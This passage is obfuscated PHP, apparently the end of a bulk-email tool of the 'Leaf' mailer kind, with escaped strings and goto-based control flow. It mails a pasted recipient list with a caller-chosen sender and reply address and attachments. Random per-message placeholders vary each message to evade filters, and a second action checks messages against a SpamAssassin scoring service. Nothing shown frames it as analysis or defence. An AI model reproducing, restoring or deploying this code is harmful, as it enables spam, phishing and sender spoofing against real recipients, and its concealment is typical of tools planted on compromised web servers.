"\x29\74\57\x6c\151\76\15\xa\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\xd\12\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x3c\x6c\x69\x3e\x5b\x2d\162\x61\156\x64\x6f\155\x73\x74\162\151\x6e\147\55\135\40\72\40\74\x62\76\x52\x61\156\x64\157\155\40\163\164\x72\151\x6e\x67\x20\x28\60\55\x39\54\x61\x2d\x7a\51\74\57\142\76\x3c\57\x6c\x69\76\xd\xa\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x3c\x6c\151\76\x5b\55\x72\141\x6e\x64\157\x6d\156\x75\155\142\145\162\x2d\x5d\x20\72\x20\x3c\142\76\x52\x61\x6e\x64\x6f\155\x20\156\x75\155\142\145\162\x20\x28\x30\55\x39\51\40\74\x2f\x62\76\x3c\57\154\151\76\15\12\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\74\154\x69\76\x5b\x2d\x72\x61\x6e\144\157\155\154\x65\x74\x74\x65\162\x73\55\135\x20\x3a\40\x3c\142\x3e\122\x61\x6e\x64\x6f\x6d\x20\x4c\145\x74\164\145\x72\x73\50\x61\x2d\x7a\51\40\x3c\x2f\142\76\x3c\x2f\154\x69\x3e\xd\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\74\x6c\151\76\133\55\162\x61\x6e\144\x6f\155\155\144\65\x2d\x5d\40\72\x20\74\142\76\122\x61\156\144\x6f\x6d\40\115\104\x35\x20\x3c\57\x62\x3e\x3c\x2f\154\x69\76\xd\xa\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\57\165\154\76\15\xa\x20\x20\40\x20\x20\40\40\40\40\40\40\40\x3c\150\x34\x3e\x65\170\x61\x6d\160\x6c\x65\x3c\x2f\x68\x34\76\15\12\40\40\40\40\x20\x20\40\40\40\40\40\40\122\x65\x63\145\151\x76\145\x72\x20\105\155\x61\x69\x6c\x20\75\40\x3c\x62\76\x75\163\x65\x72\x40\x64\x6f\155\x61\x69\x6e\x2e\x63\157\155\x3c\x2f\x62\x3e\74\142\162\x3e\15\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x3c\165\x6c\76\15\xa\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\74\154\x69\x3e\x68\x65\x6c\x6c\157\x20\74\x62\x3e\133\55\145\155\141\x69\x6c\x75\x73\145\162\x2d\135\74\57\x62\76\x20\x3d\x20\150\x65\x6c\154\x6f\x20\74\142\76\x75\x73\x65\x72\74\x2f\x62\76\x3c\x2f\154\151\x3e\xd\xa\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x3c\154\x69\76\171\157\165\x72\40\144\x6f\x6d\x61\151\x6e\40\151\x73\40\74\142\76\x5b\x2d\x65\155\x61\151\x6c\144\157\x6d\141\151\x6e\x2d\x5d\74\57\142\x3e\40\75\40\131\157\165\x72\40\x44\x6f\155\141\x69\x6e\40\x69\163\40\74\142\76\x64\x6f\x6d\x61\x69\156\56\x63\x6f\x6d\74\x2f\142\76\74\x2f\154\151\76\15\xa\40\40\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\40\74\x6c\151\76\x79\157\x75\x72\40\x63\157\144\145\x20\x69\163\40\x20\74\142\76\133\x2d\162\141\x6e\x64\157\x6d\155\144\x35\55\135\74\x2f\142\76\40\75\x20\x79\157\165\162\x20\x63\x6f\x64\145\x20\151\x73\40\x3c\142\76\145\61\x30\141\x64\143\63\x39\64\71\142\141\65\x39\x61\142\142\145\65\x36\145\x30\65\x37\146\62\60\x66\70\x38\x33\145\74\57\142\x3e\74\57\154\x69\76\15\xa\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x3c\x2f\x75\154\x3e\15\12\xd\xa\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\74\x68\66\x3e\142\171\x20\x3c\142\76\x3c\x61\40\x68\x72\x65\146\x3d\42\150\x74\164\160\72\57\x2f" . $QsWd8["\167\145\x62\x73\151\164\145"] . "\42\x3e" . $QsWd8["\167\145\x62\163\151\164\x65"] . "\x3c\57\x61\x3e\x3c\x2f\142\x3e\x3c\x2f\150\x36\76\xd\12\40\x20\x20\40\x20\40\x20\x20\74\x2f\x64\x69\x76\x3e\xd\12\40\40\x20\x20\74\x2f\144\x69\166\76";
if ($_POST["\141\143\164\151\x6f\x6e"] == "\163\145\x6e\x64") {
goto i_v86;
}
if ($_POST["\141\143\x74\151\157\156"] == "\x73\x63\157\162\145") {
goto liJtR;
}
goto TknnK;
i_v86:
print "\40\x20\40\x20\x3c\144\x69\x76\x20\143\x6c\x61\163\163\x3d\x22\x63\x6f\154\x2d\x6c\147\55\x31\62\x22\76";
$F6fMk = explode("\xd\12", $yik22);
$qTx3q = count($F6fMk);
$fPXTy = 1;
foreach ($F6fMk as $D2erR) {
print "\74\144\x69\x76\40\143\x6c\x61\x73\x73\x3d\x22\x63\x6f\154\55\x6c\147\x2d\x31\42\76\133" . $fPXTy . "\x2f" . $qTx3q . "\x5d\x3c\x2f\x64\x69\x76\76\74\144\151\166\40\x63\154\141\x73\x73\75\42\143\157\154\55\x6c\147\x2d\x34\42\x3e" . $D2erR . "\74\x2f\144\151\x76\76";
if (!leafMailCheck($D2erR)) {
goto n2IeQ;
}
$T3VVp = new PHPMailer();
$T3VVp->setFrom(leafClear($Cp3Wq, $D2erR), leafClear($FR34O, $D2erR));
$T3VVp->addReplyTo(leafClear($H7ity, $D2erR));
$T3VVp->addAddress($D2erR);
$T3VVp->Subject = leafClear($O5Nl2, $D2erR);
$T3VVp->Body = leafClear($cjbiA, $D2erR);
if ($ZRCiR == 1) {
goto ShpOs;
}
$T3VVp->IsHTML(false);
goto SBQmJ;
ShpOs:
$T3VVp->IsHTML(true);
$T3VVp->AltBody = strip_tags(leafClear($cjbiA, $D2erR));
SBQmJ:
$T3VVp->CharSet = $Mh992;
$T3VVp->Encoding = $Waof0;
$Ky6GK = 0;
CLG3C:
if (!($Ky6GK < count($_FILES["\141\x74\x74\x61\143\x68\155\145\156\x74"]["\156\141\155\145"]))) {
goto SgzRc;
}
if (!($_FILES["\141\x74\164\x61\143\x68\155\x65\x6e\164"]["\164\x6d\x70\x5f\x6e\141\155\x65"][$Ky6GK] != '')) {
goto ykyI6;
}
$T3VVp->AddAttachment($_FILES["\x61\164\164\141\143\x68\x6d\145\156\x74"]["\164\x6d\160\x5f\x6e\141\x6d\145"][$Ky6GK], $_FILES["\x61\x74\164\x61\x63\150\155\145\x6e\x74"]["\x6e\141\x6d\145"][$Ky6GK]);
ykyI6:
ZoUvm:
$Ky6GK++;
goto CLG3C;
SgzRc:
if (!$T3VVp->send()) {
goto prNMS;
}
echo "\x3c\x64\151\x76\x20\x63\154\141\x73\163\75\42\143\157\154\x2d\154\x67\55\66\42\76\x3c\163\x70\x61\x6e\40\x63\154\141\163\x73\x3d\42\x6c\141\x62\145\x6c\x20\154\141\x62\145\x6c\55\163\x75\x63\143\145\x73\x73\x22\x3e\x4f\x6b\x3c\x2f\163\x70\141\x6e\x3e\x3c\57\144\x69\166\x3e";
goto lwPke;
prNMS:
echo "\74\x64\151\x76\40\x63\154\141\163\163\x3d\x22\x63\157\x6c\x2d\x6c\x67\55\x36\x22\76\x3c\x73\x70\x61\x6e\x20\x63\x6c\141\x73\x73\75\x22\154\x61\142\x65\154\x20\x6c\141\x62\x65\154\x2d\144\x65\x66\x61\x75\154\x74\x22\76" . htmlspecialchars($T3VVp->ErrorInfo) . "\x3c\57\x73\160\141\x6e\76\x3c\57\x64\151\x76\x3e";
lwPke:
print "\x3c\x62\x72\x3e\15\12";
goto yb6mI;
n2IeQ:
print "\74\144\x69\166\40\x63\154\141\163\x73\x3d\x22\x63\x6f\x6c\x2d\154\x67\55\66\42\76\x3c\x73\x70\141\x6e\x20\143\154\x61\163\163\x3d\42\154\141\x62\x65\154\x20\154\x61\142\x65\154\55\144\x65\146\141\x75\154\164\42\76\111\156\143\157\162\x72\x65\143\x74\40\105\x6d\141\x69\x6c\x3c\57\163\160\141\x6e\x3e\x3c\x2f\x64\151\166\76";
print "\x3c\142\x72\x3e\xd\xa";
yb6mI:
$fPXTy++;
$els5U = 0;
iBTli:
if (!($els5U < 40000)) {
goto pckUE;
}
echo "\40";
xo95e:
$els5U++;
goto iBTli;
pckUE:
vGV9o:
}
Agrhp:
goto TknnK;
liJtR:
$T3VVp = new PHPMailer();
$T3VVp->setFrom(leafClear($Cp3Wq, $D2erR), leafClear($FR34O, $D2erR));
$T3VVp->addReplyTo(leafClear($H7ity, $D2erR));
$T3VVp->addAddress("\x75\163\145\162\156\141\x6d\x65\100\x64\157\155\x61\151\x6e\x2e\143\x6f\x6d");
$T3VVp->Subject = leafClear($O5Nl2, $D2erR);
$T3VVp->Body = leafClear($cjbiA, $D2erR);
if ($ZRCiR == 1) {
goto kIT1d;
}
$T3VVp->IsHTML(false);
goto bxN7m;
kIT1d:
$T3VVp->IsHTML(true);
$T3VVp->AltBody = strip_tags(leafClear($cjbiA, $D2erR));
bxN7m:
$T3VVp->CharSet = $Mh992;
$T3VVp->Encoding = $Waof0;
$T3VVp->preSend();
$Q8OCg = $T3VVp->getSentMIMEMessage();
$syLfg = curl_init();
curl_setopt($syLfg, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($syLfg, CURLOPT_URL, "\150\164\x74\160\72\x2f\x2f\x73\x70\x61\155\x63\x68\145\x63\x6b\x2e\x70\157\x73\164\155\x61\162\x6b\141\160\x70\56\x63\157\155\57\146\151\154\x74\145\162");
curl_setopt($syLfg, CURLOPT_POSTFIELDS, http_build_query(array("\x65\x6d\x61\x69\154" => $Q8OCg, "\157\x70\164\151\x6f\156\163" => "\154\157\x6e\147")));
curl_setopt($syLfg, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($syLfg, CURLOPT_TIMEOUT, 15);
$q0bOj = curl_exec($syLfg);
$q0bOj = json_decode($q0bOj);
print "\x20\x20\40\x20\x3c\x64\151\x76\x20\143\x6c\141\163\163\75\x22\143\157\154\55\154\x67\x2d\x31\62\42\76";
if (!($q0bOj->success == TRUE)) {
goto ydN2A;
}
$uLLRo = $q0bOj->score;
if ($uLLRo > 5) {
goto Ep_Sp;
}
$XoRhB = "\163\165\x63\x63\145\163\x73";
goto hKpxi;
Ep_Sp:
$XoRhB = "\144\141\x6e\147\x65\x72";
hKpxi:
print "\x3c\x64\151\x76\x20\x63\x6c\141\163\163\x3d\x22\x74\145\x78\164\55" . $XoRhB . "\x22\x3e\x59\x6f\165\x72\40\x53\x70\141\x6d\x41\163\163\141\x73\163\151\156\40\x73\143\157\x72\x65\x20\151\x73\x20" . $uLLRo . "\40\40\x3c\x2f\x64\151\166\x3e\xd\12\74\x64\151\x76\x3e\x46\165\x6c\154\40\122\x65\160\157\162\164\40\x3a\x20\74\160\x72\145\76" . $q0bOj->report . "\74\x2f\x70\162\145\76\x3c\57\144\x69\x76\76";
print "\x20\x20\40\x20\74\x2f\x64\151\166\76";
ydN2A:
TknnK:
print "\x3c\x2f\x62\x6f\144\x79\76";